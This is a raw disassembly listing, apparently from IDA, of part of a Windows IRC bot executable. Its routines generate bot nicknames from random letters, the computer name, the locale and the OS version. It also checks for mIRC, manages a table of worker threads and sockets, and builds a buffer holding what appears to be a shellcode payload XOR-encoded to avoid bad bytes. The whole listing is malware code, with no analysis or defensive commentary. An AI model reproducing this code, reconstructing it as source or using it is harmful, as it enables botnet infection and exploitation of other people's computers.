					; DATA XREF: .data:004453A0o

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_440094
		test	esi, esi
		jle	short loc_40B1B0

loc_40B19A:				; CODE XREF: sub_40B16D+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40B19A

loc_40B1B0:				; CODE XREF: sub_40B16D+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B1BA(char *Dest)

sub_40B1BA	proc near		; DATA XREF: .data:004453B4o

var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset aPc	; "PC"
		mov	[ebp+var_4], 100h
		xor	edi, edi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4F63C8	; GetComputerNameA
		test	eax, eax
		jnz	short loc_40B1EF
		mov	esi, offset aPc_0 ; "PC"

loc_40B1EF:				; CODE XREF: sub_40B1BA+2Ej
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx

loc_40B1F5:				; CODE XREF: sub_40B1BA+46j
		cmp	eax, ecx
		jnz	short loc_40B1FC
		push	1
		pop	edi

loc_40B1FC:				; CODE XREF: sub_40B1BA+3Dj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40B1F5
		push	61h
		pop	ecx

loc_40B205:				; CODE XREF: sub_40B1BA+56j
		cmp	eax, ecx
		jnz	short loc_40B20C
		push	1
		pop	edi

loc_40B20C:				; CODE XREF: sub_40B1BA+4Dj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40B205
		test	edi, edi
		jnz	short loc_40B21B
		mov	esi, offset aPc_1 ; "PC"

loc_40B21B:				; CODE XREF: sub_40B1BA+5Aj
		mov	edi, [ebp+Dest]
		push	esi		; Format
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_440094, esi
		jle	short loc_40B25A

loc_40B234:				; CODE XREF: sub_40B1BA+9Ej
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_0	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_440094
		jl	short loc_40B234

loc_40B25A:				; CODE XREF: sub_40B1BA+78j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B1BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B260(char *Dest)

sub_40B260	proc near		; DATA XREF: .data:004453C8o

var_C		= byte ptr -0Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		lea	eax, [ebp+var_C]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4F63CC	; GetLocaleInfoA
		mov	edi, [ebp+Dest]
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aS_22	; "%s|"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_440094, esi
		jle	short loc_40B2CF

loc_40B2A9:				; CODE XREF: sub_40B260+6Dj
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_1	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_440094
		jl	short loc_40B2A9

loc_40B2CF:				; CODE XREF: sub_40B260+47j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B2D5(char *Dest)

sub_40B2D5	proc near		; DATA XREF: .data:004453DCo

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		mov	esi, offset dword_4E436C
		mov	[ebp+var_94], 94h
		call	ds:dword_4F63D0	; GetVersionExA
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		cmp	[ebp+var_90], 4
		pop	ecx
		jnz	short loc_40B359
		cmp	[ebp+var_8C], 0
		jnz	short loc_40B339
		cmp	[ebp+var_84], 1
		jnz	short loc_40B329
		mov	esi, offset a95	; "95"

loc_40B329:				; CODE XREF: sub_40B2D5+4Dj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B395
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40B395
; ---------------------------------------------------------------------------

loc_40B339:				; CODE XREF: sub_40B2D5+44j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B349
		mov	esi, offset a98	; "98"
		jmp	short loc_40B395
; ---------------------------------------------------------------------------

loc_40B349:				; CODE XREF: sub_40B2D5+6Bj
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B390
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40B395
; ---------------------------------------------------------------------------

loc_40B359:				; CODE XREF: sub_40B2D5+3Bj
		cmp	[ebp+var_90], 5
		jnz	short loc_40B390
		cmp	[ebp+var_8C], 0
		jnz	short loc_40B372
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40B395
; ---------------------------------------------------------------------------

loc_40B372:				; CODE XREF: sub_40B2D5+94j
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B382
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40B395
; ---------------------------------------------------------------------------

loc_40B382:				; CODE XREF: sub_40B2D5+A4j
		cmp	[ebp+var_8C], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40B395

loc_40B390:				; CODE XREF: sub_40B2D5+7Bj
					; sub_40B2D5+8Bj
		mov	esi, offset a??? ; "???"

loc_40B395:				; CODE XREF: sub_40B2D5+5Bj
					; sub_40B2D5+62j ...
		mov	edi, [ebp+Dest]
		push	esi
		push	offset aS_23	; "[%s]|"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_440094, esi
		jle	short loc_40B3D9

loc_40B3B3:				; CODE XREF: sub_40B2D5+102j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_2	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_440094
		jl	short loc_40B3B3

loc_40B3D9:				; CODE XREF: sub_40B2D5+DCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40B2D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B3DF(char *Dest)

sub_40B3DF	proc near		; CODE XREF: sub_40B487+5Cp

Source		= byte ptr -1Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_4F63B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B42E
		push	offset aMirc_0	; "mIRC"
		call	dword_4E422C	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40B417
		mov	eax, offset dword_4E4370

loc_40B417:				; CODE XREF: sub_40B3DF+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40B453
; ---------------------------------------------------------------------------

loc_40B42E:				; CODE XREF: sub_40B3DF+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_4E422C	; FindWindowA
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40B447
		mov	eax, offset dword_4E4374

loc_40B447:				; CODE XREF: sub_40B3DF+61j
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40B453:				; CODE XREF: sub_40B3DF+4Dj
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B482
		push	1Ch		; Count
		lea	eax, [ebp+Source]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncat
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		add	esp, 18h

loc_40B482:				; CODE XREF: sub_40B3DF+82j
		mov	eax, [ebp+Dest]
		leave
		retn
sub_40B3DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B487(char *Dest,int,int,char *Str1)

sub_40B487	proc near		; CODE XREF: sub_4019E7+7Fp
					; sub_401B4F+50p ...

Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_445374

loc_40B493:				; CODE XREF: sub_40B487+3Fj
		cmp	[ebp+Str1], 0
		jz	short loc_40B4AE
		lea	eax, [esi-0Ch]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B4B8
; ---------------------------------------------------------------------------

loc_40B4AE:				; CODE XREF: sub_40B487+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B4B8:				; CODE XREF: sub_40B487+25j
		test	eax, eax
		jnz	short loc_40B4CA
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_4453EC
		jb	short loc_40B493
		jmp	short loc_40B4D8
; ---------------------------------------------------------------------------

loc_40B4CA:				; CODE XREF: sub_40B487+33j
		push	[ebp+Dest]	; Dest
		lea	eax, [edi+edi*4]
		call	off_445378[eax*4]
		pop	ecx

loc_40B4D8:				; CODE XREF: sub_40B487+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B4EB
		push	[ebp+Dest]	; Dest
		call	sub_40B3DF
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B4EB:				; CODE XREF: sub_40B487+57j
		mov	eax, [ebp+Dest]
		pop	ebp
		retn
sub_40B487	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B4F0(char *Str,int)

sub_40B4F0	proc near		; CODE XREF: sub_40B510+Ap
					; sub_40B5E8+8p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+Str]	; Str
		call	_strlen
		push	[esp+8+arg_4]	; Str
		mov	esi, eax
		call	_strlen
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B4F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B510(void *Dst,int,char *Src,int)

sub_40B510	proc near		; CODE XREF: .text:0040B648p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]	; int
		push	[ebp+Src]	; Str
		call	sub_40B4F0
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B52D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B52D:				; CODE XREF: sub_40B510+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+Src]	; Str
		call	_strlen
		push	[ebp+arg_C]	; Str
		mov	esi, eax
		call	_strlen
		mov	edi, eax
		mov	ebx, [ebp+Dst]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_449164, eax
		lea	eax, [edi+1]
		mov	dword_449185, eax
		lea	eax, [edi+17h]
		mov	dword_44917D, eax
		pop	eax
		push	74h		; Size
		sub	eax, edi
		push	offset dword_449100 ; Src
		push	ebx		; Dst
		mov	dword_449193, eax
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebx+74h]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, 74h
		push	5		; Size
		push	offset aGet	; " get	"
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, 5
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	10h		; Size
		push	(offset	aGet+5)	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		add	esi, 10h
		push	edi		; Size
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	38h		; Size
		add	esi, ebx
		push	offset byte_449189 ; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B510	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B5E8(char *Str,int)

sub_40B5E8	proc near		; CODE XREF: .text:0040B60Cp

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+Str]	; Str
		call	sub_40B4F0
		push	eax
		call	sub_40B66C
		add	esp, 0Ch
		retn
sub_40B5E8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_40B5E8
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_40B61F
		cmp	eax, 0FFFFh
		jbe	short loc_40B623

loc_40B61F:				; CODE XREF: .text:0040B616j
		xor	eax, eax
		jmp	short loc_40B668
; ---------------------------------------------------------------------------

loc_40B623:				; CODE XREF: .text:0040B61Dj
		push	esi
		push	edi
		push	ebx
		call	sub_40B4F0
		add	eax, 101h
		push	eax
		call	_malloc
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B4F0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B510
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40B687
		push	esi
		mov	edi, eax
		call	_free
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_40B668:				; CODE XREF: .text:0040B621j
		pop	edi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B66C	proc near		; CODE XREF: sub_40B5E8+Ep
					; sub_40B687+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B675
		inc	ecx

loc_40B675:				; CODE XREF: sub_40B66C+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B66C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B687(void *Dst,int,int,int)

sub_40B687	proc near		; CODE XREF: .text:0040B655p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B6A3
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B6A3
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B6A3
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B6A6

loc_40B6A3:				; CODE XREF: sub_40B687+8j
					; sub_40B687+Ej ...
		inc	[ebp+arg_C]

loc_40B6A6:				; CODE XREF: sub_40B687+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B6CE
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B6C7
		cmp	al, 0Dh
		jz	short loc_40B6C7
		cmp	al, 5Ch
		jz	short loc_40B6C7
		test	al, al
		jnz	short loc_40B6CE

loc_40B6C7:				; CODE XREF: sub_40B687+32j
					; sub_40B687+36j ...
		add	[ebp+arg_C], 100h

loc_40B6CE:				; CODE XREF: sub_40B687+28j
					; sub_40B687+3Ej
		push	[ebp+arg_C]
		call	sub_40B66C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B6E6
		cmp	eax, 0FFFFh
		jbe	short loc_40B6ED

loc_40B6E6:				; CODE XREF: sub_40B687+56j
		xor	eax, eax
		jmp	loc_40B78B
; ---------------------------------------------------------------------------

loc_40B6ED:				; CODE XREF: sub_40B687+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4E4378
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B71D

loc_40B701:				; CODE XREF: sub_40B687+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B714
		cmp	al, 0Ah
		jz	short loc_40B714
		cmp	al, 0Dh
		jz	short loc_40B714
		cmp	al, 5Ch
		jnz	short loc_40B718

loc_40B714:				; CODE XREF: sub_40B687+7Fj
					; sub_40B687+83j ...
		inc	bl
		xor	edx, edx

loc_40B718:				; CODE XREF: sub_40B687+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B701

loc_40B71D:				; CODE XREF: sub_40B687+78j
		cmp	ecx, esi
		mov	byte_4E4378, bl
		ja	short loc_40B749
		push	15h		; Size
		push	offset dword_4490E8 ; Src
		push	[ebp+Dst]	; Dst
		mov	byte_4490F5, cl
		mov	byte_4490F9, bl
		call	_memcpy
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B76A
; ---------------------------------------------------------------------------

loc_40B749:				; CODE XREF: sub_40B687+9Ej
		push	17h		; Size
		push	offset dword_4490D0 ; Src
		push	[ebp+Dst]	; Dst
		mov	word_4490DE, cx
		mov	byte_4490E3, bl
		call	_memcpy
		add	esp, 0Ch
		push	17h

loc_40B76A:				; CODE XREF: sub_40B687+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B786
		mov	edx, [ebp+Dst]
		lea	esi, [ecx+edx]

loc_40B778:				; CODE XREF: sub_40B687+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B778

loc_40B786:				; CODE XREF: sub_40B687+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_40B78B:				; CODE XREF: sub_40B687+61j
		pop	esi
		leave
		retn
sub_40B687	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B78E(char *Source,int,int)

sub_40B78E	proc near		; CODE XREF: WinMain(x,x,x,x)+378p
					; WinMain(x,x,x,x)+3B7p ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_456F28

loc_40B796:				; CODE XREF: sub_40B78E+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B7AA
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4E3F28
		jl	short loc_40B796
		jmp	short loc_40B7F5
; ---------------------------------------------------------------------------

loc_40B7AA:				; CODE XREF: sub_40B78E+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_456F28[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_457128[esi], eax
		and	dword_45712C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_457130[esi], 0
		mov	dword_457134[esi], eax
		and	byte_457140[esi], 0
		pop	esi

loc_40B7F5:				; CODE XREF: sub_40B78E+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B78E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7F9	proc near		; DATA XREF: sub_401CC7+297Eo

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]	; int
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Str]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_40B84B
		push	[ebp+var_14]
		call	sub_40BAAA
		add	esp, 14h
		push	0
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_40B7F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B84B(int,char *Str,int,int)

sub_40B84B	proc near		; CODE XREF: sub_40B7F9+38p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_4491C4 ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_456F28

loc_40B875:				; CODE XREF: sub_40B84B+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B8B6
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B889
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B8B6

loc_40B889:				; CODE XREF: sub_40B84B+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S_0	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 24h

loc_40B8B6:				; CODE XREF: sub_40B84B+2Dj
					; sub_40B84B+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E3F28
		jl	short loc_40B875
		pop	edi
		pop	esi
		leave
		retn
sub_40B84B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8C9	proc near		; CODE XREF: sub_401CC7+7CB3p
					; sub_40B957+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B951
		cmp	esi, 400h
		jge	short loc_40B951
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_45713C[esi]
		lea	edi, dword_45713C[esi]
		call	ds:dword_4F63B4	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B901
		push	1
		pop	ebp

loc_40B901:				; CODE XREF: sub_40B8C9+33j
		mov	[edi], ebx
		lea	edi, dword_457130[esi]
		mov	dword_457128[esi], ebx
		mov	dword_45712C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B922
		push	eax
		call	sub_41A8E2
		pop	ecx

loc_40B922:				; CODE XREF: sub_40B8C9+50j
		mov	[edi], ebx
		lea	edi, dword_457134[esi]
		mov	byte ptr dword_456F28[esi], bl
		mov	byte_457140[esi], bl
		push	dword ptr [edi]
		call	dword_4E42B8	; closesocket
		lea	esi, dword_457138[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		mov	[esi], ebx
		pop	edi

loc_40B951:				; CODE XREF: sub_40B8C9+Dj
					; sub_40B8C9+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B957	proc near		; CODE XREF: sub_401317+18p
					; WinMain(x,x,x,x):loc_4019D3p	...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_456F28

loc_40B963:				; CODE XREF: sub_40B957+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B974
		push	edi
		call	sub_40B8C9
		test	eax, eax
		pop	ecx
		jz	short loc_40B974
		inc	ebx

loc_40B974:				; CODE XREF: sub_40B957+Fj
					; sub_40B957+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4E3F28
		jl	short loc_40B963
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B957	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B989	proc near		; CODE XREF: sub_401CC7+420Dp
					; sub_401CC7+435Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_45712C

loc_40B99D:				; CODE XREF: sub_40B989+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B9BF
		test	edi, edi
		jle	short loc_40B9B1
		cmp	[esi], edi
		jz	short loc_40B9B1
		cmp	ebx, edi
		jnz	short loc_40B9BF

loc_40B9B1:				; CODE XREF: sub_40B989+1Ej
					; sub_40B989+22j
		push	ebx
		call	sub_40B8C9
		test	eax, eax
		pop	ecx
		jz	short loc_40B9BF
		inc	[ebp+var_4]

loc_40B9BF:				; CODE XREF: sub_40B989+1Aj
					; sub_40B989+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4E412C
		jl	short loc_40B99D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B989	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9D6	proc near		; CODE XREF: WinMain(x,x,x,x)+40Fp
					; sub_401CC7+946p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_457128

loc_40B9DD:				; CODE XREF: sub_40B9D6+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B9E6
		inc	eax

loc_40B9E6:				; CODE XREF: sub_40B9D6+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4E4128
		jl	short loc_40B9DD
		retn
sub_40B9D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9F5	proc near		; CODE XREF: sub_401CC7+23F3p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_457128

loc_40B9FF:				; CODE XREF: sub_40B9F5+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40BA18
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4E4128
		jl	short loc_40B9FF
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40BA18:				; CODE XREF: sub_40B9F5+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B9F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BA1C(int,int,int,int,int,int,int,char *Str)

sub_40BA1C	proc near		; CODE XREF: sub_401CC7+122Dp
					; sub_401CC7+124Bp ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_40BA35
		push	[ebp+Str]	; Str
		call	_atoi
		pop	ecx

loc_40BA35:				; CODE XREF: sub_40BA1C+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B989
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40BA61
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
